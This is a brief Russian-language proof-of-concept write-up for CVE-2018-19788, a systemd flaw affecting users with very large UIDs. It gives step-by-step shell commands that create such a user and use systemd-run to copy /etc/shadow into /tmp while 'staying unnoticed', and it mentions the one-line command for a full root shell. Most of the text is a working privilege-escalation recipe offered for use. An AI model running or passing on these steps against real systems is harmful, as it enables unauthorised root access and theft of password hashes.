Использование CVE-2018-19788 для дампа защищенных файлов без root-оболочки

CVE-2018-19788 — это проблема, при которой любой пользователь с UID больше INT_MAX (т.е. 4000000000) может выполнять любые команды systemctl на системе с systemd, например Ubuntu. (Уже есть описание получения root-оболочки: здесь). Основное отличие этого описания от полного получения root-оболочки заключается в том, что здесь команды выполняются от самого пользователя, а не от root (по сути, просто PoC).

Получение /etc/shadow без выполнения root-оболочки

Чтобы получить root-оболочку, достаточно выполнить systemd-run -t /bin/bash, но если вы хотите оставаться незамеченным, можно выполнить простые команды для получения привилегированных файлов без терминала. Выполните следующие шаги:

• Добавьте пользователя с UID больше INT_MAX:

  adduser --uid 4000000000 someusername
  

• Переключитесь на учетную запись пользователя:

  su someusername
  

• Выполните команду для нужного файла (в примере используем /etc/shadow):

  systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
  

• Ваш файл теперь в /tmp:

  cat /tmp/results_poc.txt
  

Видео PoC